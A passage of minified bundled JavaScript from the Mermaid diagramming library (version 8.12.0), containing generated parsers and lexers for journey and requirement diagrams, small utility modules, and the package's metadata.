e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",u=0,c=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var v=p.yylloc;a.push(v);var m=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var _,x,w,k,T,E,C,S,A,M={};;){if(w=n[n.length-1],this.defaultActions[w]?k=this.defaultActions[w]:(null==_&&(_=b()),k=o[w]&&o[w][_]),void 0===k||!k.length||!k[0]){var N="";for(E in A=[],o[w])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");N=p.showPosition?"Parse error on line "+(u+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[_]||_)+"'":"Parse error on line "+(u+1)+": Unexpected "+(_==f?"end of input":"'"+(this.terminals_[_]||_)+"'"),this.parseError(N,{text:p.match,token:this.terminals_[_]||_,line:p.yylineno,loc:v,expected:A})}if(k[0]instanceof Array&&k.length>1)throw new Error("Parse Error: multiple actions possible at state: "+w+", token: "+_);switch(k[0]){case 1:n.push(_),i.push(p.yytext),a.push(p.yylloc),n.push(k[1]),_=null,x?(_=x,x=null):(c=p.yyleng,s=p.yytext,u=p.yylineno,v=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[k[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},m&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,c,u,y.yy,k[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[k[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},l={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),21;case 1:return this.begin("type_directive"),22;case 2:return this.popState(),this.begin("arg_directive"),15;case 3:return this.popState(),this.popState(),24;case 4:return 23;case 5:case 6:break;case 7:return 11;case 8:case 9:break;case 10:return 4;case 11:return 17;case 12:return 18;case 13:return 19;case 14:return 20;case 15:return 15;case 16:return 6;case 17:return"INVALID"}},rules:[/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:journey\b)/i,/^(?:title\s[^#\n;]+)/i,/^(?:section\s[^#:\n;]+)/i,/^(?:[^#:\n;]+)/i,/^(?::[^#\n;]+)/i,/^(?::)/i,/^(?:$)/i,/^(?:.)/i],conditions:{open_directive:{rules:[1],inclusive:!1},type_directive:{rules:[2,3],inclusive:!1},arg_directive:{rules:[3,4],inclusive:!1},INITIAL:{rules:[0,5,6,7,8,9,10,11,12,13,14,15,16,17],inclusive:!0}}};function h(){this.yy={}}return c.lexer=l,h.prototype=c,c.Parser=h,new h}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(16).readFileSync(n(17).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(11),n(6)(t))},,function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(10),i=n(5);e.default=function(t,e){return r.default.lang.round(i.default.parse(t)[e])}},function(t,e,n){var r=n(140),i=n(97),a=n(26);t.exports=function(t){return a(t)?r(t):i(t)}},function(t,e,n){var r;if(!r)try{r=n(544)}catch(t){}r||(r=window.d3),t.exports=r},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(10),i=n(5);e.default=function(t,e,n){var a=i.default.parse(t),o=a[e],s=r.default.channel.clamp[e](o+n);return o!==s&&(a[e]=s),i.default.stringify(a)}},function(t,e,n){var r=n(369),i=n(375);t.exports=function(t,e){var n=i(t,e);return r(n)?n:void 0}},function(t,e,n){var r=n(42),i=n(371),a=n(372),o=r?r.toStringTag:void 0;t.exports=function(t){return null==t?void 0===t?"[object Undefined]":"[object Null]":o&&o in Object(t)?i(t):a(t)}},function(t,e,n){var r=n(140),i=n(395),a=n(26);t.exports=function(t){return a(t)?r(t,!0):i(t)}},function(t,e){t.exports=function(t){return t}},function(t){t.exports=JSON.parse('{"name":"mermaid","version":"8.12.0","description":"Markdownish syntax for generating flowcharts, sequence diagrams, class diagrams, gantt charts and git graphs.","main":"dist/mermaid.core.js","keywords":["diagram","markdown","flowchart","sequence diagram","gantt","class diagram","git graph"],"scripts":{"build:development":"webpack --progress --color","build:production":"yarn build:development --mode production --config webpack.config.prod.babel.js","build":"yarn build:development && yarn build:production","postbuild":"documentation build src/mermaidAPI.js src/config.js src/defaultConfig.js --shallow -f md --markdown-toc false > docs/Setup.md","build:watch":"yarn build --watch","release":"yarn build","lint":"eslint src","e2e:depr":"yarn lint && jest e2e --config e2e/jest.config.js","cypress":"percy exec -- cypress run","e2e":"start-server-and-test dev http://localhost:9000/ cypress","e2e-upd":"yarn lint && jest e2e -u --config e2e/jest.config.js","dev":"webpack serve --config webpack.config.e2e.js","test":"yarn lint && jest src/.*","test:watch":"jest --watch src","prepublishOnly":"yarn build && yarn test","prepare":"yarn build"},"repository":{"type":"git","url":"https://github.com/knsv/mermaid"},"author":"Knut Sveidqvist","license":"MIT","standard":{"ignore":["**/parser/*.js","dist/**/*.js","cypress/**/*.js"],"globals":["page"]},"dependencies":{"@braintree/sanitize-url":"^3.1.0","d3":"^7.0.0","dagre":"^0.8.5","dagre-d3":"^0.6.4","dompurify":"2.3.1","graphlib":"^2.1.8","khroma":"^1.4.1","moment-mini":"^2.24.0","stylis":"^4.0.10"},"devDependencies":{"@babel/core":"^7.14.6","@babel/eslint-parser":"^7.14.7","@babel/preset-env":"^7.14.7","@babel/register":"^7.14.5","@percy/cli":"^1.0.0-beta.58","@percy/cypress":"^3.1.0","@percy/migrate":"^0.11.0","babel-jest":"^27.0.6","babel-loader":"^8.2.2","coveralls":"^3.0.2","css-to-string-loader":"^0.1.3","cypress":"8.1.0","documentation":"13.2.0","eslint":"^7.30.0","eslint-config-prettier":"^8.3.0","eslint-plugin-prettier":"^3.4.0","husky":"^7.0.1","identity-obj-proxy":"^3.0.0","jest":"^27.0.6","jison":"^0.4.18","js-base64":"3.6.1","moment":"^2.23.0","prettier":"^2.3.2","start-server-and-test":"^1.12.6","terser-webpack-plugin":"^4.2.3","webpack":"^4.41.2","webpack-cli":"^4.7.2","webpack-dev-server":"^3.4.1","webpack-node-externals":"^3.0.0"},"files":["dist"],"sideEffects":["**/*.css","**/*.scss"],"husky":{"hooks":{"pre-push":"yarn test"}}}')},function(t,e){t.exports=function(t,e){return t===e||t!=t&&e!=e}},function(t,e,n){var r=n(36),i=n(13);t.exports=function(t){if(!i(t))return!1;var e=r(t);return"[object Function]"==e||"[object GeneratorFunction]"==e||"[object AsyncFunction]"==e||"[object Proxy]"==e}},function(t,e,n){var r=n(18).Symbol;t.exports=r},function(t,e,n){(function(t){var r=n(18),i=n(391),a=e&&!e.nodeType&&e,o=a&&"object"==typeof t&&t&&!t.nodeType&&t,s=o&&o.exports===a?r.Buffer:void 0,u=(s?s.isBuffer:void 0)||i;t.exports=u}).call(this,n(6)(t))},function(t,e,n){var r=n(400),i=n(92),a=n(401),o=n(149),s=n(402),u=n(36),c=n(138),l=c(r),h=c(i),f=c(a),d=c(o),p=c(s),y=u;(r&&"[object DataView]"!=y(new r(new ArrayBuffer(1)))||i&&"[object Map]"!=y(new i)||a&&"[object Promise]"!=y(a.resolve())||o&&"[object Set]"!=y(new o)||s&&"[object WeakMap]"!=y(new s))&&(y=function(t){var e=u(t),n="[object Object]"==e?t.constructor:void 0,r=n?c(n):"";if(r)switch(r){case l:return"[object DataView]";case h:return"[object Map]";case f:return"[object Promise]";case d:return"[object Set]";case p:return"[object WeakMap]"}return e}),t.exports=y},function(t,e,n){var r=n(36),i=n(22);t.exports=function(t){return"symbol"==typeof t||i(t)&&"[object Symbol]"==r(t)}},function(t,e,n){var r;try{r={defaults:n(182),each:n(102),isFunction:n(41),isPlainObject:n(186),pick:n(189),has:n(107),range:n(190),uniqueId:n(191)}}catch(t){}r||(r=window._),t.exports=r},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[1,3],n=[1,5],r=[1,17],i=[2,10],a=[1,21],o=[1,22],s=[1,23],u=[1,24],c=[1,25],l=[1,26],h=[1,19],f=[1,27],d=[1,28],p=[1,31],y=[66,67],g=[5,8,14,35,36,37,38,39,40,48,55,57,66,67],v=[5,6,8,14,35,36,37,38,39,40,48,66,67],m=[1,51],b=[1,52],_=[1,53],x=[1,54],w=[1,55],k=[1,56],T=[1,57],E=[57,58],C=[1,69],S=[1,65],A=[1,66],M=[1,67],N=[1,68],O=[1,70],D=[1,74],B=[1,75],L=[1,72],I=[1,73],R=[5,8,14,35,36,37,38,39,40,48,66,67],F={trace:function(){},yy:{},symbols_:{error:2,start:3,directive:4,NEWLINE:5,RD:6,diagram:7,EOF:8,openDirective:9,typeDirective:10,closeDirective:11,":":12,argDirective:13,open_directive:14,type_directive:15,arg_directive:16,close_directive:17,requirementDef:18,elementDef:19,relationshipDef:20,requirementType:21,requirementName:22,STRUCT_START:23,requirementBody:24,ID:25,COLONSEP:26,id:27,TEXT:28,text:29,RISK:30,riskLevel:31,VERIFYMTHD:32,verifyType:33,STRUCT_STOP:34,REQUIREMENT:35,FUNCTIONAL_REQUIREMENT:36,INTERFACE_REQUIREMENT:37,PERFORMANCE_REQUIREMENT:38,PHYSICAL_REQUIREMENT:39,DESIGN_CONSTRAINT:40,LOW_RISK:41,MED_RISK:42,HIGH_RISK:43,VERIFY_ANALYSIS:44,VERIFY_DEMONSTRATION:45,VERIFY_INSPECTION:46,VERIFY_TEST:47,ELEMENT:48,elementName:49,elementBody:50,TYPE:51,type:52,DOCREF:53,ref:54,END_ARROW_L:55,relationship:56,LINE:57,END_ARROW_R:58,CONTAINS:59,COPIES:60,DERIVES:61,SATISFIES:62,VERIFIES:63,REFINES:64,TRACES:65,unqString:66,qString:67,$accept:0,$end:1},terminals_:{2:"error",5:"NEWLINE",6:"RD",8:"EOF",12:":",14:"open_directive",15:"type_directive",16:"arg_directive",17:"close_directive",23:"STRUCT_START",25:"ID",26:"COLONSEP",28:"TEXT",30:"RISK",32:"VERIFYMTHD",34:"STRUCT_STOP",35:"REQUIREMENT",36:"FUNCTIONAL_REQUIREMENT",37:"INTERFACE_REQUIREMENT",38:"PERFORMANCE_REQUIREMENT",39:"PHYSICAL_REQUIREMENT",40:"DESIGN_CONSTRAINT",41:"LOW_RISK",42:"MED_RISK",43:"HIGH_RISK",44:"VERIFY_ANALYSIS",45:"VERIFY_DEMONSTRATION",46:"VERIFY_INSPECTION",47:"VERIFY_TEST",48:"ELEMENT",51:"TYPE",53:"DOCREF",55:"END_ARROW_L",57:"LINE",58:"END_ARROW_R",59:"CONTAINS",60:"COPIES",61:"DERIVES",62:"SATISFIES",63:"VERIFIES",64:"REFINES",65:"TRACES",66:"unqString",67:"qString"},productions_:[0,[3,3],[3,2],[3,4],[4,3],[4,5],[9,1],[10,1],[13,1],[11,1],[7,0],[7,2],[7,2],[7,2],[7,2],[7,2],[18,5],[24,5],[24,5],[24,5],[24,5],[24,2],[24,1],[21,1],[21,1],[21,1],[21,1],[21,1],[21,1],[31,1],[31,1],[31,1],[33,1],[33,1],[33,1],[33,1],[19,5],[50,5],[50,5],[50,2],[50,1],[20,5],[20,5],[56,1],[56,1],[56,1],[56,1],[56,1],[56,1],[56,1],[22,1],[22,1],[27,1],[27,1],[29,1],[29,1],[49,1],[49,1],[52,1],[52,1],[54,1],[54,1]],performAction:function(t,e,n,r,i,a,o){var s=a.length-1;switch(i){case 6:r.parseDirective("%%{","open_directive");break;case 7:r.parseDirective(a[s],"type_directive");break;case 8:a[s]=a[s].trim().replace(/'/g,'"'),r.parseDirective(a[s],"arg_directive");break;case 9:r.parseDirective("}%%","close_directive","pie");break;case 10:this.$=[];break;case 16:r.addRequirement(a[s-3],a[s-4]);break;case 17:r.setNewReqId(a[s-2]);break;case 18:r.setNewReqText(a[s-2]);break;case 19:r.setNewReqRisk(a[s-2]);break;case 20:r.setNewReqVerifyMethod(a[s-2]);break;case 23:this.$=r.RequirementType.REQUIREMENT;break;case 24:this.$=r.RequirementType.FUNCTIONAL_REQUIREMENT;break;case 25:this.$=r.RequirementType.INTERFACE_REQUIREMENT;break;case 26:this.$=r.RequirementType.PERFORMANCE_REQUIREMENT;break;case 27:this.$=r.RequirementType.PHYSICAL_REQUIREMENT;break;case 28:this.$=r.RequirementType.DESIGN_CONSTRAINT;break;case 29:this.$=r.RiskLevel.LOW_RISK;break;case 30:this.$=r.RiskLevel.MED_RISK;break;case 31:this.$=r.RiskLevel.HIGH_RISK;break;case 32:this.$=r.VerifyType.VERIFY_ANALYSIS;break;case 33:this.$=r.VerifyType.VERIFY_DEMONSTRATION;break;case 34:this.$=r.VerifyType.VERIFY_INSPECTION;break;case 35:this.$=r.VerifyType.VERIFY_TEST;break;case 36:r.addElement(a[s-3]);break;case 37:r.setNewElementType(a[s-2]);break;case 38:r.setNewElementDocRef(a[s-2]);break;case 41:r.addRelationship(a[s-2],a[s],a[s-4]);break;case 42:r.addRelationship(a[s-2],a[s-4],a[s]);break;case 43:this.$=r.Relationships.CONTAINS;break;case 44:this.$=r.Relationships.COPIES;break;case 45:this.$=r.Relationships.DERIVES;break;case 46:this.$=r.Relationships.SATISFIES;break;case 47:this.$=r.Relationships.VERIFIES;break;case 48:this.$=r.Relationships.REFINES;break;case 49:this.$=r.Relationships.TRACES}},table:[{3:1,4:2,6:e,9:4,14:n},{1:[3]},{3:7,4:2,5:[1,6],6:e,9:4,14:n},{5:[1,8]},{10:9,15:[1,10]},{15:[2,6]},{3:11,4:2,6:e,9:4,14:n},{1:[2,2]},{4:16,5:r,7:12,8:i,9:4,14:n,18:13,19:14,20:15,21:18,27:20,35:a,36:o,37:s,38:u,39:c,40:l,48:h,66:f,67:d},{11:29,12:[1,30],17:p},t([12,17],[2,7]),{1:[2,1]},{8:[1,32]},{4:16,5:r,7:33,8:i,9:4,14:n,18:13,19:14,20:15,21:18,27:20,35:a,36:o,37:s,38:u,39:c,40:l,48:h,66:f,67:d},{4:16,5:r,7:34,8:i,9:4,14:n,18:13,19:14,20:15,21:18,27:20,35:a,36:o,37:s,38:u,39:c,40:l,48:h,66:f,67:d},{4:16,5:r,7:35,8:i,9:4,14:n,18:13,19:14,20:15,21:18,27:20,35:a,36:o,37:s,38:u,39:c,40:l,48:h,66:f,67:d},{4:16,5:r,7:36,8:i,9:4,14:n,18:13,19:14,20:15,21:18,27:20,35:a,36:o,37:s,38:u,39:c,40:l,48:h,66:f,67:d},{4:16,5:r,7:37,8:i,9:4,14:n,18:13,19:14,20:15,21:18,27:20,35:a,36:o,37:s,38:u,39:c,40:l,48:h,66:f,67:d},{22:38,66:[1,39],67:[1,40]},{49:41,66:[1,42],67:[1,43]},{55:[1,44],57:[1,45]},t(y,[2,23]),t(y,[2,24]),t(y,[2,25]),t(y,[2,26]),t(y,[2,27]),t(y,[2,28]),t(g,[2,52]),t(g,[2,53]),t(v,[2,4]),{13:46,16:[1,47]},t(v,[2,9]),{1:[2,3]},{8:[2,11]},{8:[2,12]},{8:[2,13]},{8:[2,14]},{8:[2,15]},{23:[1,48]},{23:[2,50]},{23:[2,51]},{23:[1,49]},{23:[2,56]},{23:[2,57]},{56:50,59:m,60:b,61:_,62:x,63:w,64:k,65:T},{56:58,59:m,60:b,61:_,62:x,63:w,64:k,65:T},{11:59,17:p},{17:[2,8]},{5:[1,60]},{5:[1,61]},{57:[1,62]},t(E,[2,43]),t(E,[2,44]),t(E,[2,45]),t(E,[2,46]),t(E,[2,47]),t(E,[2,48]),t(E,[2,49]),{58:[1,63]},t(v,[2,5]),{5:C,24:64,25:S,28:A,30:M,32:N,34:O},{5:D,34:B,50:71,51:L,53:I},{27:76,66:f,67:d},{27:77,66:f,67:d},t(R,[2,16]),{26:[1,78]},{26:[1,79]},{26:[1,80]},{26:[1,81]},{5:C,24:82,25:S,28:A,30:M,32:N,34:O},t(R,[2,22]),t(R,[2,36]),{26:[1,83]},{26:[1,84]},{5:D,34:B,50:85,51:L,53:I},t(R,[2,40]),t(R,[2,41]),t(R,[2,42]),{27:86,66:f,67:d},{29:87,66:[1,88],67:[1,89]},{31:90,41:[1,91],42:[1,92],43:[1,93]},{33:94,44:[1,95],45:[1,96],46:[1,97],47:[1,98]},t(R,[2,21]),{52:99,66:[1,100],67:[1,101]},{54:102,66:[1,103],67:[1,104]},t(R,[2,39]),{5:[1,105]},{5:[1,106]},{5:[2,54]},{5:[2,55]},{5:[1,107]},{5:[2,29]},{5:[2,30]},{5:[2,31]},{5:[1,108]},{5:[2,32]},{5:[2,33]},{5:[2,34]},{5:[2,35]},{5:[1,109]},{5:[2,58]},{5:[2,59]},{5:[1,110]},{5:[2,60]},{5:[2,61]},{5:C,24:111,25:S,28:A,30:M,32:N,34:O},{5:C,24:112,25:S,28:A,30:M,32:N,34:O},{5:C,24:113,25:S,28:A,30:M,32:N,34:O},{5:C,24:114,25:S,28:A,30:M,32:N,34:O},{5:D,34:B,50:115,51:L,53:I},{5:D,34:B,50:116,51:L,53:I},t(R,[2,17]),t(R,[2,18]),t(R,[2,19]),t(R,[2,20]),t(R,[2,37]),t(R,[2,38])],defaultActions:{5:[2,6],7:[2,2],11:[2,1],32:[2,3],33:[2,11],34:[2,12],35:[2,13],36:[2,14],37:[2,15],39:[2,50],40:[2,51],42:[2,56],43:[2,57],47:[2,8],88:[2,54],89:[2,55],91:[2,29],92:[2,30],93:[2,31],95:[2,32],96:[2,33],97:[2,34],98:[2,35],100:[2,58],101:[2,59],103:[2,60],104:[2,61]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",u=0,c=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var v=p.yylloc;a.push(v);var m=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var _,x,w,k,T,E,C,S,A,M={};;){if(w=n[n.length-1],this.defaultActions[w]?k=this.defaultActions[w]:(null==_&&(_=b()),k=o[w]&&o[w][_]),void 0===k||!k.length||!k[0]){var N="";for(E in A=[],o[w])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");N=p.showPosition?"Parse error on line "+(u+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[_]||_)+"'":"Parse error on line "+(u+1)+": Unexpected "+(_==f?"end of input":"'"+(this.terminals_[_]||_)+"'"),this.parseError(N,{text:p.match,token:this.terminals_[_]||_,line:p.yylineno,loc:v,expected:A})}if(k[0]instanceof Array&&k.length>1)throw new Error("Parse Error: multiple actions possible at state: "+w+", token: "+_);switch(k[0]){case 1:n.push(_),i.push(p.yytext),a.push(p.yylloc),n.push(k[1]),_=null,x?(_=x,x=null):(c=p.yyleng,s=p.yytext,u=p.yylineno,v=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[k[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},m&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,c,u,y.yy,k[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[k[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},P={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return 